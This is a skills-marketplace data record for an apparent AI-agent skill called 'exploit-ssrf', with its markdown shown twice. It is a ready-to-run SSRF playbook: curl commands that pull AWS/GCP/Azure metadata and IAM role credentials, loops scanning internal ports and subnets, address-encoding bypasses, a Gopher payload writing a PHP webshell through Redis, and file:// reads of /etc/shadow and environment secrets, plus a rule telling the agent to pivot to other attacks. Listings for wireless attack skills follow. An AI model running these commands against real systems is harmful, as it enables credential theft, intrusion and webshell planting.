[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HQ4J3E6MXZXRX8ADEEAXM":3,"skill-same:01M78HQ4J3E6MXZXRX8ADEEAXM":47},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":13,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":32,"install":33,"resources":46},"01M78HQ4J3E6MXZXRX8ADEEAXM","exploit-ssrf",null,"Server-Side Request Forgery (SSRF) — exploiting server-side URL fetching to access internal services, cloud metadata (AWS\u002FGCP\u002FAzure), internal APIs, and port scanning. Covers IP bypass techniques, DNS rebinding, Gopher protocol smuggling, and redirect-based bypass.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fssrf\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploit-ssrf\ndescription: \"Server-Side Request Forgery (SSRF) — exploiting server-side URL fetching to access internal services, cloud metadata (AWS\u002FGCP\u002FAzure), internal APIs, and port scanning. Covers IP bypass techniques, DNS rebinding, Gopher protocol smuggling, and redirect-based bypass.\"\nmetadata:\n  subdomain: web-exploitation\n  mitre_attack: T1190\n  when_to_use: \"ssrf, server side request forgery, url fetch, internal service, cloud metadata, 169.254.169.254, imds, metadata endpoint, redirect, gopher, dns rebinding, internal network, localhost access, port scan ssrf, url parameter, fetch url\"\n---\n\n# Server-Side Request Forgery (SSRF)\n\nExploits server-side URL fetching to access internal services, cloud metadata, or internal APIs not reachable from external networks.\n\n## Detection\n```bash\n# Test with callback server\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F\u003CCALLBACK>\u002Fssrf_test' -o ssrf_callback.txt\n\n# Test localhost access\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F127.0.0.1\u002F' -o ssrf_localhost.txt\n\n# Common SSRF parameters: url, uri, path, src, dest, redirect, img, load, page, feed, to, out, ref\n```\n\n## Cloud Metadata Exploitation\n```bash\n# AWS IMDSv1\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F' -o ssrf_aws_meta.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F' -o ssrf_aws_role.txt\n# Then fetch role credentials:\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003CROLE_NAME>' -o ssrf_aws_creds.txt\n\n# GCP\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt\n\n# Azure\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt\n\n# DigitalOcean\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1.json' -o ssrf_do_meta.txt\n```\n\n## Internal Service Scanning\n```bash\n# Scan internal ports via SSRF\nfor port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do\n    curl -s -o \u002Fdev\u002Fnull -w \"Port $port: %{http_code} (%{time_total}s)\\n\" \\\n        \"https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F127.0.0.1:${port}\u002F\"\ndone > ssrf_port_scan.txt\n\n# Internal network scanning\nfor i in $(seq 1 254); do\n    curl -s -o \u002Fdev\u002Fnull -w \"10.0.0.$i: %{http_code} (%{time_total}s)\\n\" \\\n        \"https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F10.0.0.${i}\u002F\" --max-time 3\ndone > ssrf_internal_scan.txt\n```\n\n## Bypass Techniques\n```bash\n# IP address variations for 127.0.0.1\n# Decimal: 2130706433\n# Hex: 0x7f000001\n# Octal: 0177.0.0.1\n# IPv6: [::1], [0000::1]\n# Shorthand: 127.1, 127.0.1\n\n# DNS rebinding — point DNS to 127.0.0.1\n\n# URL encoding\n# http:\u002F\u002F%31%32%37%2e%30%2e%30%2e%31\u002F\n\n# Redirect bypass — host a redirect from your server to internal target\n# https:\u002F\u002F\u003CYOUR_SERVER>\u002Fredirect?to=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Gopher Protocol\n```bash\n# Gopher SSRF to interact with internal services (Redis, MySQL, etc.)\n# Redis — flush and write webshell\nGOPHER_PAYLOAD=\"gopher:\u002F\u002F127.0.0.1:6379\u002F_*3%0d%0a\\$3%0d%0aset%0d%0a\\$1%0d%0a1%0d%0a\\$34%0d%0a\u003C?php%20system(\\$_GET['cmd']);?>%0d%0a*4%0d%0a\\$6%0d%0aconfig%0d%0a\\$3%0d%0aset%0d%0a\\$3%0d%0adir%0d%0a\\$13%0d%0a\u002Fvar\u002Fwww\u002Fhtml%0d%0a*4%0d%0a\\$6%0d%0aconfig%0d%0a\\$3%0d%0aset%0d%0a\\$10%0d%0adbfilename%0d%0a\\$9%0d%0ashell.php%0d%0a*1%0d%0a\\$4%0d%0asave%0d%0a\"\n\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=${GOPHER_PAYLOAD}\" -o ssrf_gopher.txt\n```\n\n## Application-Feature SSRF\n\nWhen the application mediates server-side HTTP requests through a feature (not a raw `?url=` parameter), look for these vectors:\n\n```bash\n# Markdown\u002FHTML renderer — image and link tags trigger server-side fetch\n# Submit as markdown content:\n#   ![x](http:\u002F\u002F127.0.0.1\u002Fadmin)\n#   [x](http:\u002F\u002F127.0.0.1:8080\u002Finternal)\n\n# PDF generator (HTML-to-PDF) — iframe or img src\n# Submit as HTML content:\n#   \u003Ciframe src=\"http:\u002F\u002Flocalhost\u002Fadmin\">\u003C\u002Fiframe>\n#   \u003Cimg src=\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n\n# Webhook\u002Fcallback URL — application calls back to attacker-controlled URL\n# Set webhook URL to: http:\u002F\u002F127.0.0.1:\u003CPORT>\u002Fadmin\n\n# Import-from-URL \u002F avatar-from-URL features\ncurl -s -X POST 'https:\u002F\u002F\u003CTARGET>\u002Fimport' \\\n  -d 'url=http:\u002F\u002F127.0.0.1:8080\u002Fadmin' -o ssrf_import.txt\n\n# Probe common restricted admin ports through any SSRF vector\nfor port in 80 443 3000 5000 8000 8080 8443 9000; do\n    curl -s -o ssrf_admin_${port}.txt \\\n      'https:\u002F\u002F\u003CTARGET>\u002F\u003CSSRF_VECTOR>' \\\n      --data-urlencode \"url=http:\u002F\u002F127.0.0.1:${port}\u002Fadmin\"\n    echo \"Port $port: $(wc -c \u003C ssrf_admin_${port}.txt) bytes\"\ndone\n```\n\n## Local File Read via file:\u002F\u002F\n\nWhen the server-side fetcher supports the `file:\u002F\u002F` scheme:\n\n```bash\n# Read sensitive files via file:\u002F\u002F scheme\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002F.env' -o ssrf_env.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fetc\u002Fshadow' -o ssrf_shadow.txt\n\n# Common sensitive files\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fetc\u002Fpasswd' -o ssrf_passwd.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron' -o ssrf_environ.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fproc\u002Fself\u002Fcmdline' -o ssrf_cmdline.txt\n\n# App source \u002F config (adjust path to match observed framework)\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fapp\u002Fapp.py' -o ssrf_source.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php' -o ssrf_config.txt\n```\n\n## Circuit-Breaker — Dead-End Detection (MANDATORY)\n\nSSRF bypass research is a vast space (CRLF, IPv6, DNS rebinding, `@`-syntax, IP encoding, Unicode normalization, …). Iterating bypass variants against ONE target endpoint that returns the SAME error response is rarely productive — the underlying block is usually `parse_url()` host validation or a curl `--protocols` allowlist that no syntax variant defeats.\n\n**Rule**: After **3 consecutive failures with identical error signature** against the same target host:port via the same SSRF vector, STOP iterating SSRF bypasses on that target. Write `exploit\u002FPIVOT.md` documenting tried variants, then pivot to:\n\n1. A **different vuln class** named in recon `SUMMARY.md` (most common win — recon usually surfaces 2-3 attack classes; pick the next one).\n2. A **stored-input rendering surface** — many CRUD apps that have SSRF also have stored XSS \u002F SSTI on a different field (see `ssti.md` Twig \"Multi-surface rendering rule\").\n3. **`file:\u002F\u002F` or `gopher:\u002F\u002F`** locally — if `parse_url()` accepts these, you don't need to escape the host check.\n4. **Loopback to the front-end app's own admin\u002Fdebug routes**: `http:\u002F\u002Fhost.docker.internal:\u003CAPP_PORT>\u002Fadmin`, `\u002Fdebug`, `\u002F.git\u002Fconfig`, `\u002Fserver-status`.\n\n```bash\n# Failure-signature check — match identical responses to detect dead-end loop\nLAST=\"\"; STRIKES=0\nfor variant in raw encoded ipv6 rebind; do\n  RESP=$(curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CSSRF_VECTOR>\" --data-urlencode \"url=\u003Cvariant>\" | md5sum | cut -d' ' -f1)\n  [ \"$RESP\" = \"$LAST\" ] && STRIKES=$((STRIKES+1)) || STRIKES=0\n  LAST=$RESP\n  [ $STRIKES -ge 3 ] && echo \"DEAD END — PIVOT\" && break\ndone\n```\n\n**Anti-pattern**: 20+ SSRF bypass attempts against a single port that consistently returned \"Failed to fetch URL\" or identical error pages. The block is upstream of URL syntax — the variant space is exhausted.\n","# Server-Side Request Forgery (SSRF)\n\nExploits server-side URL fetching to access internal services, cloud metadata, or internal APIs not reachable from external networks.\n\n## Detection\n```bash\n# Test with callback server\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F\u003CCALLBACK>\u002Fssrf_test' -o ssrf_callback.txt\n\n# Test localhost access\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F127.0.0.1\u002F' -o ssrf_localhost.txt\n\n# Common SSRF parameters: url, uri, path, src, dest, redirect, img, load, page, feed, to, out, ref\n```\n\n## Cloud Metadata Exploitation\n```bash\n# AWS IMDSv1\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F' -o ssrf_aws_meta.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F' -o ssrf_aws_role.txt\n# Then fetch role credentials:\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003CROLE_NAME>' -o ssrf_aws_creds.txt\n\n# GCP\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt\n\n# Azure\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt\n\n# DigitalOcean\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1.json' -o ssrf_do_meta.txt\n```\n\n## Internal Service Scanning\n```bash\n# Scan internal ports via SSRF\nfor port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do\n    curl -s -o \u002Fdev\u002Fnull -w \"Port $port: %{http_code} (%{time_total}s)\\n\" \\\n        \"https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F127.0.0.1:${port}\u002F\"\ndone > ssrf_port_scan.txt\n\n# Internal network scanning\nfor i in $(seq 1 254); do\n    curl -s -o \u002Fdev\u002Fnull -w \"10.0.0.$i: %{http_code} (%{time_total}s)\\n\" \\\n        \"https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=http:\u002F\u002F10.0.0.${i}\u002F\" --max-time 3\ndone > ssrf_internal_scan.txt\n```\n\n## Bypass Techniques\n```bash\n# IP address variations for 127.0.0.1\n# Decimal: 2130706433\n# Hex: 0x7f000001\n# Octal: 0177.0.0.1\n# IPv6: [::1], [0000::1]\n# Shorthand: 127.1, 127.0.1\n\n# DNS rebinding — point DNS to 127.0.0.1\n\n# URL encoding\n# http:\u002F\u002F%31%32%37%2e%30%2e%30%2e%31\u002F\n\n# Redirect bypass — host a redirect from your server to internal target\n# https:\u002F\u002F\u003CYOUR_SERVER>\u002Fredirect?to=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Gopher Protocol\n```bash\n# Gopher SSRF to interact with internal services (Redis, MySQL, etc.)\n# Redis — flush and write webshell\nGOPHER_PAYLOAD=\"gopher:\u002F\u002F127.0.0.1:6379\u002F_*3%0d%0a\\$3%0d%0aset%0d%0a\\$1%0d%0a1%0d%0a\\$34%0d%0a\u003C?php%20system(\\$_GET['cmd']);?>%0d%0a*4%0d%0a\\$6%0d%0aconfig%0d%0a\\$3%0d%0aset%0d%0a\\$3%0d%0adir%0d%0a\\$13%0d%0a\u002Fvar\u002Fwww\u002Fhtml%0d%0a*4%0d%0a\\$6%0d%0aconfig%0d%0a\\$3%0d%0aset%0d%0a\\$10%0d%0adbfilename%0d%0a\\$9%0d%0ashell.php%0d%0a*1%0d%0a\\$4%0d%0asave%0d%0a\"\n\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=${GOPHER_PAYLOAD}\" -o ssrf_gopher.txt\n```\n\n## Application-Feature SSRF\n\nWhen the application mediates server-side HTTP requests through a feature (not a raw `?url=` parameter), look for these vectors:\n\n```bash\n# Markdown\u002FHTML renderer — image and link tags trigger server-side fetch\n# Submit as markdown content:\n#   ![x](http:\u002F\u002F127.0.0.1\u002Fadmin)\n#   [x](http:\u002F\u002F127.0.0.1:8080\u002Finternal)\n\n# PDF generator (HTML-to-PDF) — iframe or img src\n# Submit as HTML content:\n#   \u003Ciframe src=\"http:\u002F\u002Flocalhost\u002Fadmin\">\u003C\u002Fiframe>\n#   \u003Cimg src=\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n\n# Webhook\u002Fcallback URL — application calls back to attacker-controlled URL\n# Set webhook URL to: http:\u002F\u002F127.0.0.1:\u003CPORT>\u002Fadmin\n\n# Import-from-URL \u002F avatar-from-URL features\ncurl -s -X POST 'https:\u002F\u002F\u003CTARGET>\u002Fimport' \\\n  -d 'url=http:\u002F\u002F127.0.0.1:8080\u002Fadmin' -o ssrf_import.txt\n\n# Probe common restricted admin ports through any SSRF vector\nfor port in 80 443 3000 5000 8000 8080 8443 9000; do\n    curl -s -o ssrf_admin_${port}.txt \\\n      'https:\u002F\u002F\u003CTARGET>\u002F\u003CSSRF_VECTOR>' \\\n      --data-urlencode \"url=http:\u002F\u002F127.0.0.1:${port}\u002Fadmin\"\n    echo \"Port $port: $(wc -c \u003C ssrf_admin_${port}.txt) bytes\"\ndone\n```\n\n## Local File Read via file:\u002F\u002F\n\nWhen the server-side fetcher supports the `file:\u002F\u002F` scheme:\n\n```bash\n# Read sensitive files via file:\u002F\u002F scheme\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002F.env' -o ssrf_env.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fetc\u002Fshadow' -o ssrf_shadow.txt\n\n# Common sensitive files\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fetc\u002Fpasswd' -o ssrf_passwd.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron' -o ssrf_environ.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fproc\u002Fself\u002Fcmdline' -o ssrf_cmdline.txt\n\n# App source \u002F config (adjust path to match observed framework)\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fapp\u002Fapp.py' -o ssrf_source.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Ffetch?url=file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php' -o ssrf_config.txt\n```\n\n## Circuit-Breaker — Dead-End Detection (MANDATORY)\n\nSSRF bypass research is a vast space (CRLF, IPv6, DNS rebinding, `@`-syntax, IP encoding, Unicode normalization, …). Iterating bypass variants against ONE target endpoint that returns the SAME error response is rarely productive — the underlying block is usually `parse_url()` host validation or a curl `--protocols` allowlist that no syntax variant defeats.\n\n**Rule**: After **3 consecutive failures with identical error signature** against the same target host:port via the same SSRF vector, STOP iterating SSRF bypasses on that target. Write `exploit\u002FPIVOT.md` documenting tried variants, then pivot to:\n\n1. A **different vuln class** named in recon `SUMMARY.md` (most common win — recon usually surfaces 2-3 attack classes; pick the next one).\n2. A **stored-input rendering surface** — many CRUD apps that have SSRF also have stored XSS \u002F SSTI on a different field (see `ssti.md` Twig \"Multi-surface rendering rule\").\n3. **`file:\u002F\u002F` or `gopher:\u002F\u002F`** locally — if `parse_url()` accepts these, you don't need to escape the host check.\n4. **Loopback to the front-end app's own admin\u002Fdebug routes**: `http:\u002F\u002Fhost.docker.internal:\u003CAPP_PORT>\u002Fadmin`, `\u002Fdebug`, `\u002F.git\u002Fconfig`, `\u002Fserver-status`.\n\n```bash\n# Failure-signature check — match identical responses to detect dead-end loop\nLAST=\"\"; STRIKES=0\nfor variant in raw encoded ipv6 rebind; do\n  RESP=$(curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CSSRF_VECTOR>\" --data-urlencode \"url=\u003Cvariant>\" | md5sum | cut -d' ' -f1)\n  [ \"$RESP\" = \"$LAST\" ] && STRIKES=$((STRIKES+1)) || STRIKES=0\n  LAST=$RESP\n  [ $STRIKES -ge 3 ] && echo \"DEAD END — PIVOT\" && break\ndone\n```\n\n**Anti-pattern**: 20+ SSRF bypass attempts against a single port that consistently returned \"Failed to fetch URL\" or identical error pages. The block is upstream of URL syntax — the variant space is exhausted.\n",{"name":5,"metadata":23,"description":7},{"subdomain":24,"when_to_use":25,"mitre_attack":26},"web-exploitation","ssrf, server side request forgery, url fetch, internal service, cloud metadata, 169.254.169.254, imds, metadata endpoint, redirect, gopher, dns rebinding, internal network, localhost access, port scan ssrf, url parameter, fetch url","T1190","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fssrf","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":34,"prompt":44,"zipAvailable":45},[35,38,41],{"tool":36,"command":37},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill exploit-ssrf",{"tool":39,"command":40},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill exploit-ssrf",{"tool":42,"command":43},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill exploit-ssrf","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fssrf\u002FSKILL.md",true,[],[48,55,62,69,76,83],{"skillNo":49,"name":50,"nameZh":6,"description":51,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":52,"categories":53,"keywords":54,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":56,"name":57,"nameZh":6,"description":58,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]